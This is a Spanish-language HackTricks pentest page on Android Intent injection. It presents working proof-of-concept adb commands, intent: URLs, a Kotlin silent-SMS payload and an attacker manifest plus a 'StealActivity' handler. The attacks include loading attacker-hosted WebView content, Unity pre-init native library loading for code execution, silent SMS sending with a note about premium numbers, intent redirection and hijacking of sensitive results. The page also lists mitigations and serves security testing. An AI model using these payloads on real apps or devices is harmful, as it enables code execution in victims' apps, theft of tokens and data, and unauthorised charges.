Intent Injection

Reading time: 17 minutes

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Intent injection abusa de componentes que aceptan Intents controlados por el atacante o datos que luego se convierten en Intents. Dos patrones muy comunes durante pentests de aplicaciones Android son:

  • Enviar extras manipulados a Activities/Services/BroadcastReceivers exportados que luego son reenviados a componentes privilegiados no exportados.
  • Activar deep links VIEW/BROWSABLE exportados que reenvían URLs controladas por el atacante a WebViews internas u otros sinks sensibles.

Si una app expone un deep link con un esquema personalizado como:

text
myscheme://com.example.app/web?url=<attacker_url>

y si la Activity receptora reenvía el parámetro de consulta url a un WebView, puedes forzar que la app renderice contenido remoto arbitrario en su propio contexto de WebView.

PoC vía adb:

bash
# Implicit VIEW intent
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

# Or explicitly target an Activity
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

Impacto

  • HTML/JS se ejecuta dentro del perfil WebView de la app.
  • Si JavaScript está habilitado (por defecto o debido a comprobaciones desordenadas), puedes enumerar/usar cualquier objeto expuesto @JavascriptInterface, robar WebView cookies/local storage y pivotar.

See also:

Webview Attacks

Bug de orden de comprobaciones que habilita JavaScript

Un bug recurrente es habilitar JavaScript (u otras configuraciones permisivas de WebView) antes de que termine la verificación/allowlist final de la URL. Si helpers tempranos aceptan tu deep link y el WebView se configura primero, tu carga final ocurre con JavaScript ya habilitado aunque las comprobaciones posteriores sean defectuosas o lleguen tarde.

Qué buscar en el código decompilado:

  • Múltiples módulos/helpers que parsean/dividen/reconstruyen la URL de forma diferente (normalización inconsistente).
  • Llamadas a getSettings().setJavaScriptEnabled(true) antes de la última verificación de host/path en la allowlist.
  • Una pipeline como: parse → partial validate → configure WebView → final verify → loadUrl.

Unity Runtime: Intent-to-CLI extras → pre-init native library injection (RCE)

Las apps Android basadas en Unity típicamente usan com.unity3d.player.UnityPlayerActivity (o UnityPlayerGameActivity) como la Activity de entrada. la plantilla Android de Unity trata un extra de Intent especial llamado unity como una cadena de flags de línea de comandos para el Unity runtime. Cuando la Activity de entrada está exportada (por defecto en muchas plantillas), cualquier app local —y a veces un sitio web si BROWSABLE está presente— puede suministrar este extra.

Un flag peligroso y no documentado conduce a la ejecución de código nativo durante la inicialización muy temprana del proceso:

  • Hidden flag: -xrsdk-pre-init-library <absolute-path>
  • Effect: dlopen(<absolute-path>, RTLD_NOW) muy temprano en la inicialización, cargando un ELF controlado por el atacante dentro del proceso de la app objetivo con su UID y permisos.

Reverse-engineering excerpt (simplified):

c
// lookup the arg value
initLibPath = FUN_00272540(uVar5, "xrsdk-pre-init-library");
// load arbitrary native library early
lVar2 = dlopen(initLibPath, 2); // RTLD_NOW

Por qué funciona

  • El extra de Intent unity se interpreta como Unity runtime flags.
  • Al suministrar la pre-init flag, Unity apunta a una ruta ELF controlada por el atacante dentro de un linker namespace path permitido (ver las restricciones más abajo).

Condiciones para la explotación

  • La Activity de entrada de Unity está exportada (comúnmente cierto por defecto).
  • Para ejecución remota con un clic vía navegador: la Activity de entrada también declara android.intent.category.BROWSABLE para que los extras puedan ser pasados desde una URL intent:.

Explotación local (mismo dispositivo)

  1. Coloca un payload ELF en una ruta legible por la app víctima. Lo más sencillo: incluye una biblioteca maliciosa en tu propia app atacante y asegúrate de que se extraiga bajo /data/app/.../lib/<abi>/ configurando en el manifest del atacante:
xml
<application android:extractNativeLibs="true" ...>
  1. Lanzar la Unity activity de la víctima con la CLI pre-init flag en el extra unity. Ejemplo ADB PoC:
bash
adb shell am start \
-n com.victim.pkg/com.unity3d.player.UnityPlayerActivity \
-e unity "-xrsdk-pre-init-library /data/app/~~ATTACKER_PKG==/lib/arm64/libpayload.so"
  1. Unity calls dlopen("/data/.../libpayload.so", RTLD_NOW); tu payload se ejecuta en el proceso víctima, heredando todos sus permisos de la app (cámara/micrófono/red/almacenamiento, etc.) y acceso a sesiones/datos dentro de la app.

Notas

  • La ruta exacta /data/app/... varía entre dispositivos/instalaciones. Una app atacante puede recuperar su propio directorio de librerías nativas en tiempo de ejecución mediante getApplicationInfo().nativeLibraryDir y comunicárselo al trigger.
  • El archivo no necesita terminar en .so si es un ELF válido — dlopen() se fija en los encabezados ELF, no en las extensiones.

Acceso remoto con un clic mediante el navegador (condicional) Si la entry activity de Unity está exportada con BROWSABLE, un sitio web puede pasar extras mediante una URL intent::

text
intent:#Intent;package=com.example.unitygame;scheme=whatever;\
S.unity=-xrsdk-pre-init-library%20/data/local/tmp/malicious.so;end;

Sin embargo, en Android moderno, los namespaces del dynamic linker y SELinux bloquean la carga desde muchas rutas públicas (p. ej., /sdcard/Download). Verás errores como:

library "/sdcard/Download/libtest.so" ("/storage/emulated/0/Download/libtest.so") needed
or dlopened by "/data/app/.../lib/arm64/libunity.so" is not accessible for the
namespace: [name="clns-...", ... permitted_paths="/data:/mnt/expand:/data/data/com.example.unitygame"]

Bypass strategy: apuntar a aplicaciones que almacenan en caché bytes controlados por el atacante dentro de su almacenamiento privado (p. ej., HTTP caches). Dado que las rutas permitidas incluyen /data y el directorio privado de la app, apuntar -xrsdk-pre-init-library a una ruta absoluta dentro de la caché de la app puede satisfacer las restricciones del linker y producir ejecución de código. Esto refleja patrones previos de cache-to-ELF RCE observados en otras Android apps.

Confused‑Deputy: SMS/MMS silencioso vía ACTION_SENDTO (Wear OS Google Messages)

Algunas apps de mensajería predeterminadas ejecutan incorrectamente de forma automática intents implícitos de mensajería, convirtiéndolos en una primitiva confused‑deputy: cualquier app sin privilegios puede desencadenar Intent.ACTION_SENDTO con sms:, smsto:, mms:, o mmsto: y provocar un envío inmediato sin una UI de confirmación y sin el permiso SEND_SMS.

Key points

  • Desencadenante: ACTION_SENDTO implícito + esquema URI de mensajería.
  • Datos: establecer el destinatario en la URI, el texto del mensaje en el extra "sms_body".
  • Permisos: ninguno (sin SEND_SMS), depende del manejador SMS/MMS por defecto.
  • Observado: Google Messages para Wear OS (parcheado en mayo de 2025). Otros handlers deberían evaluarse de forma similar.

Minimal payload (Kotlin)

kotlin
val intent = Intent(Intent.ACTION_SENDTO).apply {
data = Uri.parse("smsto:+11234567890") // or sms:, mms:, mmsto:
putExtra("sms_body", "Hi from PoC")
// From a non-Activity context add NEW_TASK
addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
}
startActivity(intent)

ADB PoC (sin permisos especiales)

bash
# SMS/SMS-to
adb shell am start -a android.intent.action.SENDTO -d "smsto:+11234567890" --es sms_body "hello"
adb shell am start -a android.intent.action.SENDTO -d "sms:+11234567890"   --es sms_body "hello"

# MMS/MMS-to (handler-dependent behaviour)
adb shell am start -a android.intent.action.SENDTO -d "mmsto:+11234567890" --es sms_body "hello"
adb shell am start -a android.intent.action.SENDTO -d "mms:+11234567890"   --es sms_body "hello"

Expansión de la superficie de ataque (Wear OS)

  • Cualquier componente capaz de lanzar Activities puede disparar la misma payload: Activities, foreground Services (con FLAG_ACTIVITY_NEW_TASK), Tiles, Complications.
  • Si el manejador por defecto envía automáticamente, el abuso puede ser con un solo toque o totalmente silencioso desde contextos en segundo plano dependiendo de las políticas del OEM.

Pentest checklist

  • Resuelve ACTION_SENDTO en el objetivo para identificar el manejador por defecto; verifica si muestra una UI de composición o envía silenciosamente.
  • Prueba los cuatro esquemas (sms:, smsto:, mms:, mmsto:) y los extras (sms_body, opcionalmente subject para MMS) para comprobar diferencias de comportamiento.
  • Considera destinos con cargos/números de tarificación premium cuando pruebes en dispositivos reales.

Other classic Intent injection primitives

  • startActivity/sendBroadcast usando extras de Intent suministrados por el atacante que luego se reparsean (Intent.parseUri(...)) y se ejecutan.
  • Componentes proxy exportados que reenvían Intents a componentes sensibles no exportados sin comprobaciones de permisos.

Automatización de pruebas de componentes exportados (Smali-driven ADB generation)

Cuando los componentes exportados esperan extras específicos, adivinar la forma del payload provoca pérdida de tiempo y falsos negativos. Puedes automatizar el descubrimiento de claves/tipos directamente desde Smali y generar comandos adb listos para ejecutar.

Tool: APK Components Inspector

  • Repo: https://github.com/thecybersandeep/apk-components-inspector
  • Enfoque: decompila y escanea Smali en busca de llamadas como getStringExtra("key"), getIntExtra("id", ...), getParcelableExtra("redirect_intent"), getSerializableExtra(...), getBooleanExtra(...), getAction(), getData() para inferir qué extras y campos consume cada componente.
  • Salida: para cada Activity/Service/Receiver/Provider exportado, la herramienta imprime una breve explicación y el comando exacto adb shell am .../cmd content ... con los flags correctamente tipados.

Instalación

bash
git clone https://github.com/thecybersandeep/apk-components-inspector
cd apk-components-inspector
python3 -m venv venv && source venv/bin/activate
pip install androguard==3.3.5 rich

Uso

bash
python apk-components-inspector.py target.apk

Ejemplo de salida

bash
adb shell am start -n com.target/.ExportedActivity --es url https://example.tld
adb shell am startservice -n com.target/.ExportedService --ei user_id 1337 --ez force true
adb shell am broadcast -n com.target/.ExportedReceiver -a com.target.ACTION --es redirect_intent "intent:#Intent;component=com.target/.Internal;end"
adb shell cmd content query --uri content://com.target.provider/items

Hoja de referencia de ADB am extras (type-aware flags)

  • Cadenas: --es key value | Matriz de cadenas: --esa key v1,v2
  • Enteros: --ei key 123 | Matriz de enteros: --eia key 1,2,3
  • Booleanos: --ez key true|false
  • Longs: --el key 1234567890
  • Floats: --ef key 1.23
  • URIs (extra): --eu key content://... | URI de datos (Intent data): -d content://...
  • Extra de componente: --ecn key com.pkg/.Cls
  • Extra de cadena nula: --esn key
  • Flags comunes: -a <ACTION> -c <CATEGORY> -t <MIME> -f <FLAGS> --activity-clear-task --activity-new-task

Consejos pro para Providers

  • Usa adb shell cmd content query|insert|update|delete ... para acceder a ContentProviders sin agentes.
  • Para sondeos SQLi, varía --projection y --where (aka selection) cuando el provider subyacente esté respaldado por SQLite.

Automatización de pipeline completa (interactive executor)

bash
# generate and capture commands then execute them one by one interactively
python apk-components-inspector.py app.apk | tee adbcommands.txt
python run_adb_commands.py
Script auxiliar para analizar y ejecutar comandos adb
python
import subprocess

def parse_adb_commands(file_path):
with open(file_path, 'r') as file:
lines = file.readlines()
commands = []
current = []
for line in lines:
s = line.strip()
if s.startswith("adb "):
current = [s]
elif s.startswith("#") or not s:
if current:
full = ' '.join(current).replace(" \\ ", " ").replace("\\", "").strip()
commands.append(full)
current = []
elif current:
current.append(s)
if current:
full = ' '.join(current).replace(" \\ ", " ").replace("\\", "").strip()
commands.append(full)
return commands

for i, cmd in enumerate(parse_adb_commands('adbcommands.txt'), 1):
print(f"\nCommand {i}: {cmd}")
input("Press Enter to execute this command...")
try:
r = subprocess.run(cmd, shell=True, check=True, text=True, capture_output=True)
print("Output:\n", r.stdout)
if r.stderr:
print("Errors:\n", r.stderr)
except subprocess.CalledProcessError as e:
print(f"Command failed with error:\n{e.stderr}")

Run on-device: el inspector está basado en Python y funciona en Termux o en rooted phones donde apktool/androguard están disponibles.


Intent Redirection (CWE-926) – encontrar y explotar

Patrón

  • Un punto de entrada exportado (Activity/Service/Receiver) lee un Intent entrante y lo reenvía interna o externamente sin validar origen/datos, p. ej.:
  • startActivity(getIntent())
  • startActivity(intent) donde intent provino de un extra como redirect_intent/next_intent/pending_intent o Intent.parseUri(...).
  • Confiar en los campos action/data/component sin comprobaciones; no verificar la identidad del llamador.

Qué buscar en Smali/Java

  • Usos de getParcelableExtra("redirect_intent"), getParcelable("intent"), getIntent().getParcelableExtra(...).
  • Llamadas directas a startActivity(...), startService(...), sendBroadcast(...) sobre Intents influenciados por attacker.
  • Ausencia de comprobaciones getCallingPackage()/getCallingActivity() o de comprobaciones de permisos personalizados.

ADB PoC templates

  • Proxy Activity que reenvía un Intent extra a una Activity interna privilegiada:
bash
adb shell am start -n com.target/.ProxyActivity \
--es redirect_intent 'intent:#Intent;component=com.target/.SensitiveActivity;end'
  • Servicio exportado que admite un parcelable redirect_intent:
bash
adb shell am startservice -n com.target/.ExportedService \
--es redirect_intent 'intent:#Intent;component=com.target/.PrivService;action=com.target.DO;end'
  • Exported Receiver que reenvía sin validación:
bash
adb shell am broadcast -n com.target/.RelayReceiver -a com.target.RELAY \
--es forwarded 'intent:#Intent;component=com.target/.HiddenActivity;S.extra=1;end'

Flags útiles para comportamiento al estilo singleTask

bash
# Ensure a fresh task when testing Activities that check task/intent flags
adb shell am start -n com.target/.ExportedActivity --activity-clear-task --activity-new-task

Ejemplos reales (el impacto varía):

  • CVE-2024-26131 (Element Android): flujos exportados que conducen a WebView manipulation, PIN bypass, login hijack.
  • CVE-2023-44121 (LG ThinQ Service): acción de receptor exportado com.lge.lms.things.notification.ACTION → efectos a nivel del sistema.
  • CVE-2023-30728 (Samsung PackageInstallerCHN < 13.1.03.00): redirección → acceso arbitrario a archivos (con interacción del usuario).
  • CVE-2022-36837 (Samsung Email < 6.1.70.20): implicit Intents leak content.
  • CVE-2021-4438 (React Native SMS User Consent).
  • CVE-2020-14116 (Xiaomi Mi Browser).

Intent Hijacking (implicit intents)

Modelo de amenaza

  • La App A espera un resultado sensible de la App B usando un implicit Intent (p. ej., un OAuth redirect, el resultado de un document picker, un retorno IMAGE_CAPTURE, o una acción de callback personalizada).
  • La App atacante C publica un componente exportado con un <intent-filter> coincidente para la misma action/category/data. Cuando B resuelve el implicit Intent, el resolver puede presentar un chooser; si el usuario elige C (o la establece como predeterminada), el payload se entrega al componente atacante en lugar de a A.

Minimal PoC manifest (attacker):

xml
<activity android:name=".StealActivity" android:exported="true">
<intent-filter>
<action android:name="com.victim.app.ACTION_CALLBACK"/>
<category android:name="android.intent.category.DEFAULT"/>
<!-- Optionally constrain MIME or scheme/host/path to increase match score -->
<!-- <data android:mimeType="application/json"/> -->
<!-- <data android:scheme="myscheme" android:host="callback"/> -->
</intent-filter>
</activity>

Esqueleto del handler:

java
public class StealActivity extends Activity {
@Override protected void onCreate(Bundle b) {
super.onCreate(b);
Intent i = getIntent();
Bundle extras = i.getExtras();
Uri data = i.getData();
// Dump/forward sensitive result
android.util.Log.i("HIJACK", "action="+i.getAction()+" data="+data+" extras="+extras);
finish();
}
}

Notas

  • La especificidad de la coincidencia importa (action + categories + data). Cuanto más específico sea el filtro de C respecto al Intent saliente de B, mayor será la probabilidad de que se muestre o se seleccione automáticamente.
  • Esto también se aplica a deep links (VIEW + BROWSABLE) cuando las apps esperan que otra app maneje una URL y devuelva algo.

Pentest guidance

  • Buscar en el objetivo con grep llamadas startActivity/startActivityForResult/registerForActivityResult que usen Intents no explícitos.
  • Inspeccionar los Intents que lleven tokens en extras, clipData, o getData() y comprobar si un tercero podría registrar un filtro compatible.
  • Recomendar reemplazar flujos implícitos con Intents explícitos (set setPackage()/setComponent()), o exigir caller-permission/signed permissions en receivers/services exportados.

Mitigaciones

  • Preferir Intents explícitos para flujos sensibles (callbacks, tokens, auth results).
  • Cuando sea necesario cross-app, añadir requisitos de permiso al componente receptor y validar la identidad del caller.
  • Limitar y ajustar los filtros de Intent solo a lo estrictamente necesario (scheme/host/path/MIME).

Observing resolver decisions (FLAG_DEBUG_LOG_RESOLUTION)

Cuando controlas el sender, añade Intent.FLAG_DEBUG_LOG_RESOLUTION a un Intent implícito para que Android registre cómo sucede la resolución y qué componente será seleccionado.

Example:

java
Intent intent = new Intent();
intent.setAction("android.media.action.IMAGE_CAPTURE");
intent.addFlags(Intent.FLAG_DEBUG_LOG_RESOLUTION);
startActivityForResult(intent, 42);

Lo que verás en adb logcat es la traza de resolución y el componente final, p. ej. com.android.camera2/com.android.camera.CaptureActivity.

Consejo de CLI

bash
# You can also set the debug flag from adb when firing an implicit Intent
# 0x00000008 == Intent.FLAG_DEBUG_LOG_RESOLUTION on modern Android
adb shell am start -a android.media.action.IMAGE_CAPTURE -f 0x00000008

# Then inspect the resolution in logs
adb logcat | grep -i -E "resolve|Resolver|PackageManager|ActivityTaskManager"

Esto es útil para enumerar manejadores candidatos en un dispositivo/emulador y confirmar exactamente qué componente recibirá un Intent durante las pruebas.


Referencias

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks